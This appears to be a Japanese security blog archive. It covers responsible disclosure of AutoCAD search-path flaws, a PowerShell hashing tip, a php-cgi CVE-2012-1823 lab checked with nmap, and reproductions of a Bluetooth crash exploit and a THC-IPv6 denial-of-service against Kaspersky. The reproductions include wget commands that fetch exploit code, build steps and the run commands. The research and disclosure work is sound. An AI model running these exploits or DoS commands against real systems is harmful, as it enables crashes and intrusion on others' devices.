AutoCADの脆弱性CVE-2014-0818, CVE-2014-0819が修正された

2014年2月21日、AutoCAD の脆弱性 CVE-2014-0818（JVN#33382534）, CVE-2014-0819（JVN#43254599）が修正されたことが公表されました。この日記では、これらの脆弱性について次の 4 点を書きます。

• 脆弱性を発見した経緯
• IPA への脆弱性届出情報（抜粋）
• 脆弱性を修正したバージョンにおける再現手順の実施結果
• 報告から修正までの時系列

[Update Mar 19, 2014]
I wrote up a summary of this post in English and submitted to Packet Storm.

脆弱性を発見した経緯

まず、僕が直接 CVE-2014-0818（JVN#33382534）を発見したわけではありません。発見者よりは報告者という表現が適切です。

2012 年 6 月、ESET が AutoCAD の AutoLISP で書かれたワーム「ACAD/Medre.A」のブログ記事を公開しました。このブログ記事では、「ACAD/Medre.A」が感染するために AutoLisp コードの自動読み込み機能を悪用していることを説明していました。このとき、僕は読み込む AutoLisp コードを決定する探索パスに疑問を持ちました。そして、AutoCAD の公式ドキュメントを読むと、ファイル名だけ指定された場合に、まずカレントディレクトリを探索することを確認できました。

そこで、ESET のブログ記事をもとに実証コードを作成したうえで、「ACAD/Medre.A」の感染原因を「ファイル探索パスに関する脆弱性」として IPA に報告しました。なお、報告内容をまとめる過程で、DLL 読み込みに関する脆弱性の可能性も確認できたため、これもあわせて報告しました。

IPA への脆弱性届出情報（抜粋）

IPA への脆弱性届出情報（様式はここを参照）のうち、「2. 脆弱性関連情報」と「6. その他」を抜粋します。この抜粋した情報には、JVN#33382534 に関連する AutoCAD 公式ドキュメントへのリンクや再現手順などを含みます。日記に転載するうえで【】の記述を加筆しましたが、それ以外は原文のままです。

======================================================================
（抜粋）

2. 脆弱性関連情報

  1) この脆弱性関連情報の入手先
     □ 自分で発見した    □ 人から入手した
     ■ ウェブサイトから入手した
        （http://blog.eset.com/2012/06/21/acadmedre-a-technical-analysis-2）

  2) 脆弱性を確認したソフトウエア等に関する情報
     名称：AutoCAD 2013
     バージョン：G.55.0.0
     パッチレベル：-
     言語：日本語
     設定情報：-

  3) 脆弱性の種類
     ファイル探索パスに関する脆弱性
     (CWE-427: http://cwe.mitre.org/data/definitions/427.html)

  4) 再現手順
     (1) 「AutoCAD 2013」を起動して、AutoCAD 2013 図面ファイル
         「Drawing1.dwg」を作成する。この「Drawing1.dwg」と検証
         コード「Acad.fas」を同じフォルダに保存しておく。
         （添付ファイル：AutoCAD2013_exploit01.png）【後述】

     (2) 「Drawing1.dwg」をダブルクリックで開く。このとき、別途
         「Process Monitor」も起動しておく。

     (3) 「AutoCAD 2013」が起動すると同時に、電卓プログラム（calc.exe）
         が起動してしまう。
         （添付ファイル：AutoCAD2013_exploit02.png）【後述】

         (2) の「Process Monitor」の結果を確認すると、「Drawing1.dwg」
         と同じフォルダに保存した「Acad.fas」が読み込まれているこ
         とが分かります。
         （添付ファイル：AutoCAD2013_exploit03.png）【後述】

         さらに「Process Monitor」の [Event Properties] - [Stack] で
         確認したところ、accore.dll のコードが「Acad.fas」を読み込ん
         でいるようです。
         （添付ファイル：AutoCAD2013_exploit03-2.png）【後述】

  5) 再現の状況
     ■ 常に    □ 時々    □ まれに
     補足説明（バージョンによる、言語による、などを記入）

  6) 脆弱性により発生しうる脅威
     第三者が用意した FAS ファイル(*)が読み込まれることで、任意の
     VBScript が実行されてしまう恐れがあります。本届出の情報入手
     先にあるように、実際にマルウェア「ACAD/Medre.A」が本届出情報
     を悪用したようです。

     (*) コンパイルされた AutoLisp コード
         http://exchange.autodesk.com/autocadmechanical/jpn/online-help/AMECH_PP/2012/jpn/pages/WS73099cc142f4875516d84be10ebc87a53f-7bc0.htm

  7) 回避策
     ・運用における回避策（現実的には難しい）
     「AutoCAD 2013」に関連付いたファイルをダブルクリックで開くと
     きに、同じフォルダに FAS ファイルがないことを確認する。

  8) 検証コード
     http://blog.eset.com/2012/06/21/acadmedre-a-technical-analysis-2
     を参考に次の AutoLisp コードを書きました。
----- ここから ----------------------
【日記に掲載する上で削除しました】
----- ここまで ----------------------

     上記コードを「exploit.lsp」というファイル名で保存しました。

     この「exploit.lsp」を下記の情報を基にコンパイルして、「Acad.fas」
     という FAS ファイルを作成しました。
     http://exchange.autodesk.com/autocad/jpn/online-help/browse#WS73099cc142f4875516d84be10ebc87a53f-787d.htm

     具体的には、「AutoCAD 2013」の [管理]メニューから Visual LISP
     エディタを起動して、Visual LISP Console にて、以下のコマンドを
     実行します（「exploit.lsp」を C:\exploit フォルダに保存してい
     るという前提です）。
     (vlisp-compile 'st "c:/exploit/exploit.lsp" "c:/exploit/Acad.fas")

  9) その他
     ・バージョンについては、[AutoCAD 2013 バージョン情報]メニュー
       で確認しました。
       （添付ファイル：AutoCAD2013_version.png）
       【日記には掲載しません】

     ・本届出と類似した脆弱性としては、CVE-2011-3360 があります。
       http://cve.mitre.org/cgi-bin/cvename.cgi?name=2011-3360
       http://www.exploit-db.com/exploits/18125/

     ・AutoCAD ドキュメントの「load」関数の説明によると、
       FAS ファイルのみ指定された場合、「AutoCAD 2013」は
       まずカレントディレクトリを探索するようです。
       http://exchange.autodesk.com/autocad/jpn/online-help/browse#WS73099cc142f4875516d84be10ebc87a53f-7872.htm

（抜粋）

6. その他

  4) 再現手順の「Process Monitor」の結果を確認したところ、
  「AutoCAD 2013」には DLL 読み込みに関する脆弱性も存在している
  可能性があります。

  添付ファイル「AutoCAD_exploit.zip」の AutoCAD_exploit.PML を
  「Process Monitor」で開き、DLL の読み込み状況をご確認ください。
  【日記には掲載しません】
======================================================================

AutoCAD2013_exploit01.png

AutoCAD2013_exploit02.png

AutoCAD2013_exploit03.png

AutoCAD2013_exploit03-2.png

脆弱性を修正したバージョンにおける再現手順の実施結果

脆弱性が修正された「AutoCAD 2014」の体験版で、IPA への脆弱性届出情報 2.4) 再現手順を実施してみました*1。すると、「AutoCAD 2014」が起動すると、次の警告ダイアログウインドウが表示されました。このウインドウにて [ロードしない]（初期選択）を選択すると、acad.FAS のコードが実行されずに「Drawing1.dwg」が表示されました。一方、[ロードする] を選択すると、定番の電卓プログラム（calc.exe）が起動しました。
レジストリを探索しても、AutoCAD 2013 Service Pack 1 で導入された AUTOLOAD および AUTOLOADPATH パラメータを確認できなかったこともふまえると、AutoLisp コードの自動読み込み機能を維持しつつ、（危険性のある）コードの実行可否を利用者に委ねることで、脆弱性を解消したと理解しました。

報告から公表までの時系列

IPA に脆弱性を報告してから、脆弱性が公表されるまでの時系列を下表にまとめました。

年月日	事柄
2012年7月3日	IPA に AutoCAD の脆弱性を報告した。同日、IPA から「脆弱性情報を受信したこと」を連絡いただいた。
2012年8月6日	IPA から、「報告した脆弱性情報を脆弱性として受理したこと」および「脆弱性情報を開発者に通知したこと」を連絡いただいた。
2012年8月*2	Autodesk 社がセキュリティ制御を実装した AutoCAD 2013 Service Pack 1(SP1)*3 を公開した。
2013年4月4日	IPA に報告した脆弱性の対応状況を問い合わせた。
2013年4月18日	IPA から「問題を一部修正したバージョン(Service Pack) を提供しており、現在も対応中」との回答をいただいた（このとき、僕は SP1 の存在を知りました）。
2013年5月11日	IPA に「『FAS ファイルのファイル探索パスに関する脆弱性』(CVE-2014-0818)の修正を完了しており、現在『DLL 読み込みに関する脆弱性』(CVE-2014-0819)を修正している状況か」確認した。
2013年5月22日	IPA から「『FAS ファイルのファイル探索パスに関する脆弱性』と『DLL 読み込みに関する脆弱性』どちらも対応中」との回答をいただいた。
2013年8月22日	IPA に「AutoCAD の脆弱性 CVE-2013-3665 が報告した脆弱性に該当するか」問い合わせた。
2013年9月4日	IPA から「Autodesk 社に（8月22日の）問い合わせ内容を確認中である」との報告をいただいた。
2013年9月中旬*4	IPA から「報告した脆弱性と CVE-2013-3665 は別の脆弱性である」との回答をいただいた。
2014年2月21日	IPA から「CVE-2014-0818（JVN#33382534）, CVE-2014-0819（JVN#43254599）を公表したこと」を連絡いただいた。

さいごに

脆弱性を修正いただいた Autodesk 社、報告から修正および公表まで調整いただいた IPA および JPCERT/CC、ご対応ありがとうございました。

更新履歴

更新日	更新内容
2014年2月23日	作成（ウェブ魚拓）
2014年3月19日	Packet Storm のリンクを追記

*1:「AutoCAD 2014」の動作環境は、Windows 7 Service Pack1 です。

*2:「Without A Net」の記事の公開日をもとに、2012年8月に公開されていたと判断しました。

*3:「Without A Net」の記事のコメントによると、SP1 が公開された後で、多数のバグを修正した SP1.1 が公開されたようです。

*4:2013 年 9 月中旬頃に IPA からメールをいただいていると思いますが、当該メールが見つかりませんでした...

PowerShellを使って、右クリックメニューでファイルのハッシュ値を算出する

Windows でファイルのハッシュ値を算出するとき、僕は「HashTab」をよく使っています。しかし、セキュリティポリシー等で使用するソフトウェアに制約があり、「HashTab」（や他のハッシュ値算出ツール）を（ポリシー上）使えないときがあります。そこで、Windows 7 から標準搭載された PowerShell を使い、ファイルの右クリックメニューからファイルのハッシュ値を算出する方法を調べました。
この日記では、Windows のレジストリを編集します。レジストリを誤って編集してしまうと、Windows の動作に問題が生じる恐れがあります（参考：Microsoft サイトにおける警告）。そのリスクを理解したうえで実践してください。

動作確認環境

下表の Windows, PowerShell の組み合わせで、後述の 2 点を確認しました。

Windows	Powershell*1
Windows 8	Powershell 3.0
Windows 7 SP1	Powershell 2.0

• エラーが出ずに実行できること
• 算出した SHA1 ハッシュ値が「HashTab」で算出したものと一致すること
  • "C:\Program Files\TrueCrypt\TrueCrypt.exe"

右クリックメニューに「ファイルのハッシュ値を算出する」ワンライナーを追加する

レジストリエディタ「regedit」を起動して、次のようにレジストリを編集します。「SHA1ハッシュ算出」は任意の文字列で構いません。この文字列が右クリックメニュー名となります。

• HKEY_CLASSES_ROOT\*\shell 以下に 2 つのキーを追加する。
  • SHA1ハッシュ算出
  • SHA1ハッシュ算出\command
• HKEY_CLASSES_ROOT\*\shell\SHA1ハッシュ算出\command の (既定) を編集する。
  • 「値のデータ」に下記のワンライナーを指定する。
  • http://z.apps.atjp.jp/memo/powershell.html を参考にさせていただきました。

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoExit -command "& { $w=(Get-Host).UI.RawUI.WindowSize; $b=(Get-Host).UI.RawUI.BufferSize; $b.Width=120; $w.Width=120; $w.Height=10; (Get-Host).UI.RawUI.BufferSize=$b; (Get-Host).UI.RawUI.WindowSize=$w; $f=(gi """"%1""""); [string]::concat($f.FullName, ': '); [string]::concat(([security.cryptography.SHA1]::create().computehash($f.openread())|%%{$_.tostring('X2')})); '' }"

レジストリを編集すると、下図のようになります。

この右クリックメニューで、TrueCrypt.exe の SHA1 ハッシュ値を算出すると、下図のようになります。このハッシュ値を「HashTab」で算出したものと比較すると一致しました。

「ファイルのハッシュ値を算出する」ワンライナーの補足

この日記のワンライナーは、http://z.apps.atjp.jp/memo/powershell.html のワンライナーに、PowerShell コンソールのウインドウサイズの変更処理を加えたものです。
TechNet の記事をもとに、PowerShell コンソールのウインドウサイズを変更します。当該記事では、WindowSize オブジェクトの Width, Height プロパティだけを変更していますが、この 2 つに加えて BufferSize オブジェクトの Width プロパティも変更します。僕の Windows 7 環境で BufferSize オブジェクトの Width プロパティを変更しなかった場合、次のエラーが出力されました。そこで、BufferSize オブジェクトの Width プロパティも変更しています。

"WindowSize" の設定中に例外が発生しました: "ウインドウの幅は画面バッファーの幅を上回ることができません。
パラメータ名: value.Width
実際の値は 120 です。"
（以下、略）

[2014年3月21日追記] Get-FileHash コマンドレットをワンライナーに使う

Powershell 4.0 には、ハッシュ値を算出する「Get-FileHash」コマンドレットが導入されました（このブログ記事で知りました）。

A new cmdlet, Get-FileHash, that returns a file hash in one of several formats for a specified file, has been added.

Archive Removal Jump Page | Microsoft Docs

Windows 8.1 には Powershell 4.0 が標準で搭載されているため*2、「Get-FileHash」コマンドレットを使って、下記のワンライナーも書けます。この右クリックメニューで、TrueCrypt.exe の SHA1 ハッシュ値を算出すると、下図のようになります。

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoExit -command "& { $w=(Get-Host).UI.RawUI.WindowSize; $w.Width=120; $w.Height=10; (Get-Host).UI.RawUI.WindowSize=$w; Get-FileHash """"%1"""" -Algorithm SHA1 | Format-List; }"

まとめ

イケてる出力結果ではありませんが、ひとまず目標を達成できました。Windows 標準環境でもっとよいハッシュ値の算出方法があるよー、という方は教えていただけると嬉しいです。

関連情報

• 右クリックメニューの追加について
  • コンテキストメニューに「Windows Defenderでスキャンします」を追加する：Tech TIPS - ＠IT
• PowerShell について
  • PowerShell基礎文法最速マスター - PowerShell Scripting Weblog
  • PowerShell – 記号の意味 – パーセント ( % ) | ITLAB51.COM
  • PowerShell 2.0 でのMessageBox - ふとしのブログ
  • Windows PowerShellのパワーの源は.NETオブジェクト (1/3)：特集：Windows PowerShellレビュー（後編） - ＠IT

更新履歴

更新日	更新内容
2014年2月8日	作成（ウェブ魚拓）
2014年3月21日	「Get-FileHash」コマンドレットを使う方法を追記

*1:$PSVersionTable の PSVersion を確認しました。

*2:「Windows 8.1 Frequently Asked Questions」の General - "Are there any new features in Windows PowerShell?" を参照してください。

php-cgi における脆弱性 CVE-2012-1823 の再現環境を準備する

php-cgi（CGI 版 PHP）における脆弱性 CVE-2012-1823 の再現環境を準備する必要があったため、過去にまとめたメモを見直していました。このような再現環境を準備するとき、該当バージョンのソフトウェアを探したり意外と時間が掛かってしまいます。そこでメモをもとに、改めてこの日記をまとめました。
なお、この日記では CVE-2012-1823 には触れません。この脆弱性を知りたい方は参考情報をご参照ください。

再現環境

この日記では、Windows 8 で下表のソフトウェアを使い、再現環境を構築しました。

ソフトウェア	バージョン
Ubuntu Server	12.04
Kali Linux	1.0.6
VMware Player	6.0.1
php-cgi	5.3.10-1ubuntu3
nmap	6.40

再現環境の構築手順

次の 1 から 4 の順に、CVE-2012-1823 の再現環境を構築しました。この日記では 2 から 4 の手順の要点を中心に説明します。

1. VMware Player をインストールする。
2. 仮想マシン「Ubuntu 12.04 Server」を作る。
3. インストールメディアから「php-cgi」をインストールする。
4. nmap を使って、CVE-2012-1823 があることを確認する。

仮想マシン「Ubuntu 12.04 Server」を作る

まず、Ubuntu の Old Ubuntu Releases から 64 bit 向け/32 bit 向けの Ubuntu 12.04 Server の ISO イメージをダウンロードします。この日記では、32 bit 向け Ubuntu 12.04 Server(ubuntu-12.04-server-i386.iso) を使いました。

• ubuntu-12.04-server-amd64.iso
• ubuntu-12.04-server-i386.iso

VMware Player を起動して、[Player]メニュー - [ファイル] - [新しい仮想マシン]から仮想マシンを作ります。「新しい仮想マシン ウィザード」では、「後で OS をインストール」を選択します。[ゲスト OS の選択] にて、ゲストOS に Linux、バージョンに Ubuntu を選択した後は、初期値のままで構いません。

作成した仮想マシンの CD/DVD ドライブにダウンロードした ISO イメージを指定して起動します。そして、インストーラに沿って、「Ubuntu 12.04 Server」をインストールします。この「Ubuntu 12.04 Server」のインストールでは、[ソフトウェアの選択] で「LAMP server」と「OpenSSH server」を選択する以外は、初期値のまま（または好みの値）で構いません。

インストールが完了して無事に起動すれば、仮想マシン「Ubuntu 12.04 Server」の準備は終わりです。

インストールメディアから「php-cgi」をインストールする

仮想マシン「Ubuntu 12.04 Server」にて、次のコマンドを実行します（この日記では、Tera Term で ssh 接続して実行しました）。なお、コマンドの実行結果については一部のみ掲載しています。

$ sudo apt-cdrom add
$ sudo sed -i -r -e's/^(deb.+)/#\1/g' -e's/#(deb cdrom.+)/\1/g' /etc/apt/sources.list
$ sudo apt-get update
$ sudo apt-get install php5-cgi
$ sudo a2dismod php5
$ sudo a2enmod actions
$ sudo vi /etc/apache2/conf.d/php5-cgi.conf
$ cat /etc/apache2/conf.d/php5-cgi.conf
<IfModule mod_actions.c>
  Action application/x-httpd-php /cgi-bin/php5
</IfModule>

$ sudo service apache2 restart
$ sudo vi /var/www/phpinfo.php
$ cat /var/www/phpinfo.php
<?php phpinfo(); ?>

前述のコマンドを実行したら、仮想マシン「Ubuntu 12.04 Server」の phpinfo.php にブラウザでアクセスします。この日記では、ｈttp://192.168.30.128/phpinfo.php となります（意図的に h をｈと記述していますのでご注意ください）。このブラウザの出力結果で [Server API] が「CGI/FastCGI」となっていれば、php-cgi（CGI 版 PHP）が動作していると判断します*1。

nmap を使って、CVE-2012-1823 があることを確認する

最後に、nmap の Nmap Scripting Engine(NSE) スクリプト「http-vuln-cve2012-1823」を実行して、CVE-2012-1823 があることを確認します。この日記では、別の仮想マシンで Kali Linux 1.0.6 を起動して、Kali Linux 上で nmap を実行しました。nmap の実行結果が VULNERABLE であることから、CVE-2012-1823 があることを確認できました。参考までに、nmap 実行時のパケットキャプチャデータを CloudShark にアップロードしておきます。

# nmap -n -sS -p80 --script http-vuln-cve2012-1823 --script-args http-vuln-cve2012-1823.uri=/phpinfo.php 192.168.30.128

Starting Nmap 6.40 ( http://nmap.org ) at 2014-02-06 01:49 UTC
Nmap scan report for 192.168.30.128
Host is up (0.0013s latency).
PORT   STATE SERVICE
80/tcp open  http
| http-vuln-cve2012-1823:
|   VULNERABLE:
|   PHP-CGI Remote code execution and source code disclosure
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:2012-1823
|     Description:
|       According to PHP's website, "PHP is a widely-used general-purpose
|       scripting language that is especially suited for Web development and
|       can be embedded into HTML." When PHP is used in a CGI-based setup
|       (such as Apache's mod_cgid), the php-cgi receives a processed query
|       string parameter as command line arguments which allows command-line
|       switches, such as -s, -d or -c to be passed to the php-cgi binary,
|       which can be exploited to disclose source code and obtain arbitrary
|       code execution.
|     Disclosure date: 2012-05-3
|     Extra information:
|       Proof of Concept:/phpinfo.php?-s
|   <code><span style="color: #000000">
|   <span style="color: #0000BB">&lt;?php&nbsp;phpinfo</span><span style="color: #007700">();&nbsp;</span><span style="color: #0000BB">?&gt;<br /></span><br /></span>
|   </code>
|     References:
|       http://ompldr.org/vZGxxaQ
|       http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
|_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1823
MAC Address: 00:0C:29:80:CF:64 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds

再現環境を準備できたら

あとは、CVE-2012-1823 の Exploit コードを実行するだけです。この日記では Exploit コードに言及していませんが、この再現環境にはいわゆる Apache Magica 攻撃も成功するはずです（元々この再現環境を準備するキッカケは Apache Magica 攻撃でした）。

参考情報

• CVE-2012-1823 について
  • CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記
  • CGI版PHPに対する魔法少女アパッチマギカ攻撃を観測しました | 徳丸浩の日記
  • PHP-CGI のクエリストリング処理における脆弱性を悪用するエクスプロイトコード（Scan Tech Report） | ScanNetSecurity[国内最大級のサイバーセキュリティ専門ポータルサイト]
• 構築手順について
  • Ubuntu日本語フォーラム / apache2 PHP5 CGI が上手く動作しません。

*1:この情報を参考にさせていただきました。

CVE-2006-0670 の実証コードを使って Bluetooth データを送信してみる

この日記には、CVE-2006-0670の実証コードを使って、市販の Bluetooth アダプタで Bluetooth データを送信できるか試した結果をまとめました。
無線 LAN（IEEE 802.11）で任意の無線 LAN フレームを送信する場合、無線 LAN アダプタを吟味する必要があります*1。そのため、無線通信の Bluetooth で同様のことを行う場合も、Bluetooth アダプタを吟味する必要があると考えていました。ところが、調べてみるとその必要はないようです。そこで、実際に自宅で使っていた Bluetooth アダプタで試してみました。

実証環境

この日記の実証環境は、下図となります。この実証環境では、Kali Linux 1.0.4 上で CVE-2006-0670 の実証コードを実行して、ノート PC から Galaxy Nexus(SC-04D) に対して Bluetooth データの送信を試しました。この実証環境について、次の 2 点を補足します。

• Bluetooth アダプタに Buffalo 製「BSHSBD04BK」を使う
• 実証コードをビルドするためには、libbluetooth-dev パッケージが必要である
  • Kali 1.0.4 には初期状態でインストールされている

実証結果

この実証環境で CVE-2006-0670 の実証コードを実行したところ、Buffalo 製「BSHSBD04BK」で Bluetooth データを送信できました。具体的な実証手順を後述します。

実証手順

Bluetooth データの送信を試すために、実証環境で次の 1 から 3 の手順を実施しました。

1. 「BSHSBD04BK」の動作を確認する
2. 実証コードを実行する
3. キャプチャデータを確認する

「BSHSBD04BK」の動作を確認する

まず「lsusb」コマンドで「BSHSBD04BK」が認識されていることを確認して、「hciconfig」コマンドで「BSHSBD04BK」の論理インターフェイス hci0 の動作状況を確認しました。このとき、hci0 が DOWN していたため、「hciconfig hci0 up」を実行して hci0 を稼働させました。

# lsusb -d 0a12:0001
Bus 004 Device 002: ID 0a12:0001 Cambridge Silicon Radio, Ltd Bluetooth Dongle (HCI mode)
# hciconfig 
hci0:	Type: BR/EDR  Bus: USB
	BD Address: 00:1B:DC:05:08:CD  ACL MTU: 310:10  SCO MTU: 64:8
	DOWN 
	RX bytes:509 acl:0 sco:0 events:21 errors:0
	TX bytes:317 acl:0 sco:0 commands:18 errors:0
# hciconfig hci0 up
# hciconfig 
hci0:	Type: BR/EDR  Bus: USB
	BD Address: 00:1B:DC:05:08:CD  ACL MTU: 310:10  SCO MTU: 64:8
	UP RUNNING 
	RX bytes:976 acl:0 sco:0 events:39 errors:0
	TX bytes:634 acl:0 sco:0 commands:36 errors:0

実証コードを実行する

実証コードを実行するため、それをダウンロードしてビルドしました。実証コードを実行するときには、宛先の Bluetooth アドレスを指定します。

# wget http://www.secuobs.com/hcidump-crash.c
# gcc -lbluetooth hcidump-crash.c -o hcidump-crash
# ./hcidump-crash
./hcidump-crash <btaddr>

実証コードを実行する前に、「hcidump」コマンドを実行しました。これで、hci0 から送受信した Bluetooth データを exploit.dump ファイルに保存できます。

# hcidump -i hci0 -w exploit.dump
HCI sniffer - Bluetooth packet analyzer ver 2.4
btsnoop version: 1 datalink type: 1002
device: hci0 snap_len: 1028 filter: 0x0

準備が整ったので、実証コードを実行しました。実行すると、下記のような出力結果を得ました。実証コードの実行が完了したら、先に実行した「hcidump」も終了させます。

# ./hcidump-crash fc:c7:34:b7:de:ae
L2CAP packet sent (15)
Buffer:	08 01 0C 00 41 41 41 41 41 41 41 41 41 41 41 

キャプチャデータを確認する

最後に、exploit.dump に保存した Bluetooth データを Wireshark で確認しました。Wireshark で確認したところ、130 個の Bluetooth データを確認できました。この Bluetooth データの中に、実証コード出力結果で得られたバイト列「08 01 0C 00 41 41 41 41 41 41 41 41 41 41 41」を含むデータを確認できました。以上のことから、「BSHSBD04BK」で Bluetooth データを送信できたと判断しました。

まとめ

「BSHSBD04BK」以外の Bluetooth アダプタで試せていないため、残念ながら「任意のアダプタで Bluetooth データを送信できる」とは言えません。しかし、適当に購入していたアダプタで Bluetooth データを送信できたため、無線 LAN アダプタに比べると、任意の Bluetooth データを送信する敷居が低そうです。

関連情報

• http://www.firefly.kutc.kansai-u.ac.jp/~k843966/scapy/
  • 「・BluetoothHCISocketが開けない」
  • http://hackgnar.com/projects/btbb/ がリンクしています。

*1:任意の無線 LAN フレームを送信できるチップセットを搭載した無線 LAN アダプタ、そのチップセットに対応したドライバを吟味する必要があります。無線 LAN アダプタとドライバを吟味するうえで、「無線LANセキュリティの教科書2014」や「HackerJapan 2013年9月号」などが参考になります。

様々なログを出力できる Nmap のオプション

Nmap には、様々なログを出力してデバッグに使えるオプションがあります。これらのオプションを調べる機会があったため、それらのオプションを日記にまとめておきます。これで、気持ちよく忘れることができますね！

該当する Nmap のオプション

Nmap に下表のオプションを指定することで、Nmap に関する様々なログも出力できます。これらのオプションを指定して、実際に Nmap を実行してみます。

オプション	説明（「nmap -h」の出力を引用）
--version-trace	Show detailed version scan activity (for debugging)
--script-trace	Show all data sent and received
-v	Increase verbosity level (use -vv or more for greater effect)
-vv	Increase verbosity level (use -vv or more for greater effect)
-d	Increase debugging level (use -dd or more for greater effect)
-dd	Increase debugging level (use -dd or more for greater effect)
--packet-trace	Show all packets sent and received

Nmap の実行結果

Windows 7 SP1 にて nmap 6.25 を次のように実行しました。まず、Powershell を起動しました。そして、ログを出力するオプションを変えながら「-A」オプションを指定して、scanme.nmap.org に対して Nmap を実行しました。このとき、Nmap の出力結果を Powershell の Tee-Object コマンドレット に渡して、Nmap の標準出力結果をファイルに記録しました。

C:\Program Files\nmap-6.25>powershell
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\Program Files\nmap-6.25> ./nmap -A -n -v scanme.nmap.org | Tee-Object -filepath log.txt

Starting Nmap 6.25 ( http://nmap.org ) at 2013-08-20 01:09 東京 (標準時)
NSE: Loaded 106 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 01:09
(snip)

ログを出力するオプションを指定して、Nmap を実行した結果は下表となります。

Nmap のコマンドライン	実行結果
nmap -A -n --version-trace scanme.nmap.org	標準出力結果
nmap -A -n --script-trace scanme.nmap.org	標準出力結果
nmap -A -n -v scanme.nmap.org	標準出力結果
nmap -A -n -vv scanme.nmap.org	標準出力結果
nmap -A -n -d scanme.nmap.org	標準出力結果
nmap -A -n -dd scanme.nmap.org	標準出力結果
nmap -A -n --packet-trace scanme.nmap.org	標準出力結果

ログを出力するオプションをどう使うか

僕は、以下のようなときにこれらのオプションを指定します。

• Nmap が何を実行しているかを確認したいとき
  • 「-v」オプション
• ポートスキャンで、open や open|filtered と判断した理由を確認したいとき
  • 「-d」オプション
• バージョンチェックで、nmap-service-probes のどの条件に合致したか確認したいとき
  • 「--version-trace」オプション
  • 「-dd」オプション

2013年8月21日 20:30 頃 追記

[twitter:@kitagawa_takuji] さんから、以下のメンションをいただきました。ポートスキャンで、open や open|filtered と判断された理由を確認したいときには、「--reason」がシンプルでよいですね。

まとめ

「-v」、「-d」および「-dd」オプションを覚えておきたい。

Kaspersky Internet Security 2013 に THC-IPV6 を実行してみた

2013 年 3 月に、Kaspersky Internet Security 2013 がフリーズしてしまう脆弱性が発覚しました。Full-Disclosure の投稿や SANS Diary によると、この脆弱性は、THC-IPV6 の firewall6 で発見されました。firewall6 がどんなパケットを送ったのか興味があったので、Kaspersky Internet Security 2013 に対して firewall6 を実行してみました。この日記では、「脆弱性を再現したときの様子」と「firewall6 が送信したパケット」について書きます。
なお、自動更新している Kaspersky Internet Security 2013 ではこの脆弱性が修正されていると思います*1。

脆弱性の再現

下記の再現環境で、Kaspersky Internet Security の脆弱性を再現しました。「BackTrack 5 R3」を起動したノート PC にて、Windows XP SP3 on VMware Player の IPv6 リンクローカルアドレスに対して firewall6 を実行しました。なお、初期状態の Windows XP SP3 には IPv6 スタックがインストールされていないため、事前にインストールしました。

「THC-IPV6」のインストール

「THC-IPV6」をインストールした手順だけメモしておきます。

# cd /tmp/
# wget http://www.thc.org/releases/thc-ipv6-2.3.tar.gz
# tar xzvf thc-ipv6-2.3.tar.gz
# cd thc-ipv6-2.3
# make
# ./firewall6 -V
./firewall6 v2.3 (c) 2013 by van Hauser / THC <vh@thc.org> www.thc.org

Syntax: ./firewall6 [-u] interface destination port [test-case-no]

Performs various ACL bypass attempts to check implementations.
Defaults to TCP ports, option -u switches to UDP.
For all test cases to work, ICMPv6 ping to thhe destination must be allowed.

firewall6 の実行

再現環境の準備が完了したところで、下記のように firewall6 のテスト番号 19 を実行しました。すると、確認した情報通りにテスト番号 19 は FAILED となりました。

# ./firewall6 eth0 fe80::20c:29ff:fee9:c35f 12345 19
Starting firewall6: mode TCP against fe80::20c:29ff:fee9:c35f port 12345
Run a sniffer behind the firewall to see what passes through

Test 19: 2kb dst + dst hdr		FAILED - no reply

Done.

このとき Windows XP SP3 on VMware Server を確認すると、VMware Player にフォーカスを当てキーボード・マウスを操作してもまったく反応がなく、タスクマネージャの CPU、メモリなどの数値も描画されませんでした（下図）。この結果から、Full-Disclosure の投稿に記載されていた事象を再現できたと判断しました。

firewall6 が送信したパケット

Kaspersky Internet Security 2013 をインストールした OS（再現環境では仮想マシン上の OS）を DoS 状態にしたパケットを確認したところ、この 4 パケットでした*2。
この 4 パケットは、2 つずつにフラグメント化された 2 つのパケットで構成されています。Wireshark でフラグメント化したパケットを結合して構造解析すると、下記のようになります。この構造をみると、IPv6 の拡張ヘッダ（Extension Header）「Fragment Header」 1 つと「Destination Options Header」 2 つを確認できます。「Destination Options Header」 2 つのサイズは、それぞれ 2040 バイトと 8 バイトです。

Ethernet II, Src: 00:0b:97:be:85:8c (00:0b:97:be:85:8c), Dst: 00:0c:29:e9:c3:5f (00:0c:29:e9:c3:5f)
Internet Protocol Version 6, Src: fe80::20b:97ff:febe:858c (fe80::20b:97ff:febe:858c), Dst: fe80::20c:29ff:fee9:c35f (fe80::20c:29ff:fee9:c35f)
    0110 .... = Version: 6
    .... 0000 0000 .... .... .... .... .... = Traffic class: 0x00000000
    .... .... .... 0000 0000 0000 0000 0000 = Flowlabel: 0x00000000
    Payload length: 836
    Next header: IPv6 fragment (44)
    Hop limit: 255
    Source: fe80::20b:97ff:febe:858c (fe80::20b:97ff:febe:858c)
    [Source SA MAC: 00:0b:97:be:85:8c (00:0b:97:be:85:8c)]
    Destination: fe80::20c:29ff:fee9:c35f (fe80::20c:29ff:fee9:c35f)
    [Destination SA MAC: 00:0c:29:e9:c3:5f (00:0c:29:e9:c3:5f)]
    [Source GeoIP: Unknown]
    [Destination GeoIP: Unknown]
    Fragmentation Header
        Next header: IPv6 destination option (60)
        Reserved octet: 0x0000
        0000 0100 1101 1... = Offset: 155 (0x009b)
        .... .... .... .00. = Reserved bits: 0 (0x0000)
        .... .... .... ...0 = More Fragment: No
        Identification: 0x51b3dacb
    [2 IPv6 Fragments (2068 bytes): #1(1240), #2(828)]
    Destination Option
        Next header: IPv6 destination option (60)
        Length: 254 (2040 bytes)
        IPv6 Option (Pad1)
        IPv6 Option (Pad1)
...（割愛）...
    Destination Option
        Next header: TCP (6)
        Length: 0 (8 bytes)
        IPv6 Option (Pad1)
        IPv6 Option (Pad1)
        IPv6 Option (Pad1)
        IPv6 Option (Pad1)
